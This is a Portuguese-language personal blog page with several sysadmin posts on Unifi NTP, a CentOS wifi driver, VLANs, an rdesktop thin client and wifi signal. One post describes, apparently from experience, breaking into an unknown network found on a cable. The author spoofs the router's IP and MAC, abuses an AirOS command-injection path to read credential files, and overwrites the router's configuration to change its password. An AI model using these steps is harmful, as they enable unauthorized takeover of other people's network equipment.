Configurando servidor NTP para Ubiquiti Unifi

By: Marcos on 11/10/2016 01:31:00 PM

Olá Caros leitores e leitoras.

Dei um tempo para novas postagens, devido dos afazeres que estão tomando muito de meu tempo, e também do ciclismo o qual participo de provas.

Recentemente precisei fazer a configuração de um servidor NTP para que as antenas do Unifi buscassem dele a data e a hora.

No meu caso tenho a controladora instalada em um Debian.

Para isso vamos criar um arquivo chamado config.properties

Primeiro é preciso acessr o linux da controladora, e ir a pasta onde ficará salvo este arquivo.

# cd /usr/lib/unifi/data/sites/default/

Em vermelho é o site padrão, onde esta o ambiente que desejamos configurar, para descobrir qual é o seu site padrão ao acessar a url da controladora a mesma informa qual é o nome do site...

https://192.168.30.9:8443/manage/site/default/devices/1/50/uap/performance

Também em vermelho destacado.

Primeiramente crie o arquivo
# touch config.properties


Feito isso é preciso editar o mesmo
# vim config.properties


Adicione a seguinte linha, pool.ntp.br é o dns dos servidores de NTP do Brasil.

config.ntp_server=pool.ntp.br

Salve o arquivo.

Porém é preciso fazer com que as antenas se provisionem novamente, para isso acesse algum ssid do seu wifi e ative o "Guest", aplique, aguarde ele replicar para as antenas, e depois desabilite o "Guest", isso irá replicar para elas as configurações.

Forte abraço a todos!

Read More

Quebrando paradigmas - Descobrir ip liberado do AirOS e também explorando falha do AirOS

By: Marcos on 12/18/2013 12:21:00 AM

Buenas,

Casa nova, cabo novo encontrado.... e ainda mais de rede, nada melhor do que passar alguns minutos verificando o que pode estar passando por ali...

De primeira instancia o cabo de rede plugado e o meu querido linux não pegava IP, ok mais do que previsto, proximo passo vamos verificar pois em AP provavelmente vai ter um HUB então HUB é burro e com isso qualquer pacote que for ou chegar na REDE devera gritar no HUB, com isso consigo pegar o IP...

Então bora rolar "# tcpdump -i etho -vvv" e adivinhem nada!!! Esta cabo esta direto ligado em um aparelho, mas que aparelho....

Então espere mais um pouco e mais um pouco...

Algumas linhas de tcpdump e então percebi que aparecia o NOME do router IP do mesmo...

"
23:15:32.622291 CDPv1, ttl: 120s, checksum: 376 (unverified), length 78
Device-ID (0x01), length: 20 bytes: 'NOME_DO_ROUTER'
Address (0x02), length: 13 bytes: IPv4 (1) 192.168.2.1 <-- IP do Router
Capability (0x04), length: 4 bytes: (0x00000001): Router
Version String (0x05), length: 9 bytes:
 XM.v5.3.3
Platform (0x06), length: 3 bytes: 'LM5'
unknown field type (0xff), length: 1 byte:

"

Então esperei mais um pouco e peguei o MAC deste cara...

O que eu fiz na verdade foi, setar o ip do router no meu notebook juntamente do MAC do router, com isso o trafego veio para a minha maquina, com isso o tcpdump rodando sempre, percebi que existia várias requisições de ARP para um determinado IP 192.168.2.2...

Então relacionei que o IP do host liberado era 192.168.2.2, show de boletas, já tinha o IP liberado, então setei o mesmo no notebook, adivinha... conseguia pingar o router, primeiro passo concluído,  agora so me restava saber se este IP também poderia ser um gateway... então adivinhe "route add default gw 192.168.2.1" e um ping "8.8.8.8" com resposta, isso é muito bom...

A partir disso vamos ver o que roda neste ip 192.168.2.1..

#nmap -sS 192.168.2.1

Existe uma porta 80 e um hardware possivelmente Ubquiti, opa então bora...

http://192.168.2.1

Show de bola, acessou, então eu sabia de tempos que tem uma falha no AirOS, revirei meus documentos e encontrei...

É uma manipulação de arquivos a partir da URL...

http://192.168.2.1/admin.cgi/cg.css

a parte /admin.cgi/cg.css é o arquivo que permite injetar comandos do tipo, ls, cd, cat.....

Alguns arquivos legais...

// Tem usuário e senha armazenados
cat /etc/default.cfg

Neste arquivo temos a senha default que é:
user: ubnt
senha: ubnt
SenhaCriptografada: users.1.password=VvpvCwhccFv6Q

O que eu fiz foi, efetuar o download do arquivo /tmp/system.cfg, alterar a senha, então efetuar upload novamente do arquivo.

Escrever as configurações do arquivo que eu efetuei upload e assim alterar a senha.
# cat /tmp/upload/system.cfg > /tmp/system.cfg

Aplicar a configuração no router com a minha senha, sem alterar a configuração do restante.
# cfgmtd -f /tmp/system.cfg -w && reboot


Abraços
Marcos Carraro

Read More

Instalando Wireless USB ASSUS USB-N10 e Configurando rede Wireless Centos 6.4

By: Marcos on 9/16/2013 03:09:00 PM

Buenas,
Estou montando um projeto bala na empresa, e tive muitas dificuldades em deixar o centos iniciar a placa de rede wireless bem, então segue uma pequena documentação de como instalar o adaptador wireless.

Primeiro de tudo instalando dependências para compilar o driver do adaptador...

A distro é Centos 6.4 x32 minimalinstall

# yum groupinstall "Development Tools"

# yum update kernel

# yum install rpm-build redhat-rpm-config asciidoc hmaccalc perl-ExtUtils-Embed xmlto kernel-headers kernel-debug kernel-devel wireless-tools wpa_supplicant vim usbutils ncurses-devel

# cd /tmp

# wget ftp://WebUser:wK9xBuD5@202.134.71.21/cn/wlan/RTL819xSU_usb_linux_v2.6.6.0.20120405.zip

# unzip RTL819xSU_usb_linux_v2.6.6.0.20120405.zip

# cd rtl8712_8188_8191_8192SU_usb_linux_v2.6.6.0.20120405

# chmod +x install.sh

# ./install.sh

# modprobe 8712u

// Criando o arquivo de configuração da wireless.

# wpa_passphrase MEUSSID minhasenha

// A saida vai ser algo parecida...

network={

        ssid="MEUSSID"

        #psk="minhasenha"

        psk=e0bb6561bf4d3ffa

}

// Copie a saida e cole em /etc/wpa_supplicant/wpa_supplicant.conf

# vim /etc/wpa_supplicant/wpa_supplicant.conf

// Aproveite e comente a linha...

#ctrl_interface_group=wheel

// Criando o arquivo para conexão.

#vim  /etc/sysconfig/network-scripts/ifcfg-wlan1

// Adicione o seguinte conteudo

DEVICE=wlan1

IPV6INIT=no

BOOTPROTO=dhcp

HWADDR=10:BF:48:50:3C:69

NM_CONTROLLED=yes

ONBOOT=yes

TYPE=Wireless

ESSID="MEUSSID"

CHANNEL=11

MODE=Managed

WPA=yes

// Efetue as alterações como as abaixo.

# cat /etc/sysconfig/wpa_supplicant

# Use the flag "-i" before each of your interfaces, like so:

#  INTERFACES="-ieth1 -iwlan0"

INTERFACES="-iwlan1" // AQUI é O NOME DA MINHA PLACA WIRELESS

# Use the flag "-D" before each driver, like so:

#  DRIVERS="-Dwext"

DRIVERS="-Dwext" // INSIRA

# Other arguments

#   -u   Enable the D-Bus interface (required for use with NetworkManager)

#   -f   Log to /var/log/wpa_supplicant.log

#   -P   Write pid file to /var/run/wpa_supplicant.pid

#        required to return proper codes by init scripts (e.g. double "start" action)

#        -B to daemonize that has to be used together with -P is already in wpa_supplicant.init.d

OTHER_ARGS="-dd -u -f /var/log/wpa_supplicant.log -P /var/run/wpa_supplicant.pid" // INSIRA

// Por fim deixar o serviço do wpa ativo...

 # chkconfig wpa_supplicant on

Abraços Marcos Carraro.

Read More

how to VLAN - Separando rede de trafego iSCSI

By: Marcos on 11/12/2012 05:37:00 PM

Buenas Turma

Hoje o post é uma documentação da implementação de VLANs para separar a rede dos usuários da rede dos storages.

VLAN1 - Vlan default da switch 3com, responsável pela comunicação de todos os computadores da rede.
192.168.1.0/24 - Rede dos computadores clientes.

VLAN200 - Vlan responsável por separar o trafego iSCSI da rede clientes.
192.168.200.0/24 - Rede iSCSI.

Switch 3com v1910.



VLANS default!

Criando a vlan id 200 chamada de iSCSI

Detalhes da vlan id 1

Detalhes da vlan id 200

Desmarcar as portas que não fazem parte da VLAN id 1

Marcar as portas como Untagged que farão parte da VLAN id 200

Configurar um IP para gerenciar a switch pela VLAN id 200

Visualizando as interfaces de gerenciamento das vlans

Selecione as portas participantes da VLAN200, selecione a opção LinkType e mande aplicar as alterações.

Salvar as configurações é essencial, pode utilizar o link que esta no canto superior direito.




Informações detalhadas de cada porta, repare que tem porta marcada Untagged 200 e Untagged 1 já percebe-se que elas estão separadas logicamente, do lado direito temos o Link Type, também repare que a VLAN200 tem porta do tipo ACCESS com PVID200 já a VLAN1 tem porta do tipo HYBRID com PVID1

Resultado final da visualização da VLAN1

Resultado final da VLAN200

Computador conectado na VLAN200

Computador conectado na VLAN1

Tudo isso, sem precisar fazer marcação na placa de rede com o ID da VLAN, isso é utilzado quando a placa de rede e ou sistema não dão suporte a este tipo de marcação.

Acredito que foi claro fazer a demonstração da configuração, até o momento esta me atendendo muito bem, caso tenha mais dicas o blog esta de portas abertas.

Agora se você não tem minima noção do que é vlan, google :D


Abraços
Marcos Carraro

Read More

Ubuntu client TS + impressora local LPT1

By: Marcos on 9/05/2012 03:17:00 PM

Buenas Turma,

Uma dica que caiu como luva, tanto como no aprendizado, melhoria, centralização, segurança e o melhor de tudo corte de gastos.

Cenário.
Rede da fábrica com vários computadores, todos precisam acessar o ERP, e dar baixa no sistema pelo código de barras lido pelo Raio Laser Vermelho doidão!

Montar o acesso remoto para windows é barbada, agora redirecionar a impressora local para o TS isso foi complicado, até o momento em que descobri que o TS não precisa saber se a impressora funciona no LINUX, so precisa redirecionar a porta LPT, e instlar o driver no TS show de boletas.

primeiros passos.
- Instalação do ubuntu versão 12.04 full
- Atualização do mesmo
- apt-get install rdesktop

Montando para iniciar o TS assim que o linux subir..

vim ~/.bashrc

sudo rdesktop -r lptport:LPT1=/dev/lp0 -f -u USUARIO -p SENHA -s "c:\sistema.bat" -P -z -x m -A 16 -N -5 192.168.1.100

Parametros utilizados

-u "Indicar qual usuário vai se conectar no Windows"
-p "Senha do usuário no Windows"
-f  "Tela cheia"
-r lptport:LTP1=/dev/lp0 "Redireciona a porta /dev/lp0 com o nome LPT1 para o TS"
-s "c:\sistema.bat" (Deve estar entre aspas "" onde indicamos para iniciar o aplicativo, assim quando o usuário fechar o aplicativo o sistema automaticamente fecha a conexão.
-P "Habilita cache bmp, dando uma melhora no desempenho da conexão"
-z "habilita compactação dos dados RDP"
-x m "Desabilitamos todos temas, efeitos especiais para melhorar a conexão"
-a 16 "Aqui indicamos as cores que a conexão vai utilizar 16 bits."
-N "Ativa numlock na conexão"
-5 "Utiliza versão 5 do protocolo RDP"

No windows adicione uma impressora local, ele vai mostrar o nome da estação mais o nome da impressora feito isso escolha os drivers e prontinho.

Update: Setembro/2013 
   O comando rdesktop deve ser executado com "sudo rdesktop" se não for utilizado o sudo, o redirecionamento da impressora não vai funcionar.

Abraços
Marcos Carraro.

Read More

Melhorando sinal do wireless

By: Marcos on 1/10/2012 11:56:00 PM

Salve salve turma,

Já tem um post de como resolver alguns problemas no modem wireless DL-524, agora decidi escrever um post de como melhorar o sinal do wireless, tava com um sinal péssimo, no segundo andar da casa o sinal ficava na casa dos 40%, com essas modificações, chegou a 51%. Pouco mas resolveu meu problema.

Algumas modificações no modem.

- ao entrar no modem vá direto na opção wireless -> e procura a opção channel e aumente para um numero razoavelmente alto, no caso como sou exagerado eu coloquei 11 ficou show de bola ali já tive um ganho de uns 4%;

- Na guia Advanced escolha a opção Performance e mude o Wireless Mode para G MODE, e na TX RATES para 54 (Mbps), não lembro o quanto de aumento eu tive nessa parte;

Modificações físicas.

- Essa parte foi a mais doida, pensei, vou fazer no velho estilo bombril na antena, coloquei um papel alumínio, péssima ideia ali sim eu perdi digamos uns 28% do sinal, quase perdi totalmente o sinal... péssima ideia colocar a antena com um papel por trás.

- Procurei alguma latinha de alumínio, pringles, azeite, caixa de leite qualquer coisa deste gênero, nada.

- O que realmente funcionou foi, fazendo uma pequena extensão com o papel alumínio, e coloquei na ponta da antena, dito e feito, quando eu fui olhar tive o ganho dos 11%.

Quero fazer outros testes, com umas latinhas, testar uma lata de pringles, vamos ver no que vai resultar, mas essas são modificações simples de serem feitas, sem gastar extremamente nada.

Algumas dicas que encontrei na internet,

http://www.tecmundo.com.br/wi-fi/3555-como-melhorar-o-sinal-wireless-em-casa-.htm

http://www.tecmundo.com.br/1912-melhor-posicao-para-roteadores-sem-fio.htm

http://www.tecmundo.com.br/wi-fi/4752-como-melhorar-o-sinal-da-rede-sem-fio-mudando-o-canal-wi-fi-do-roteador.htm

http://www.bagulho.net/dicas/como-melhorar-o-sinal-wireless-com-uma-lata-de-cerveja/

Um forte abraço Marcos Carraro.

Read More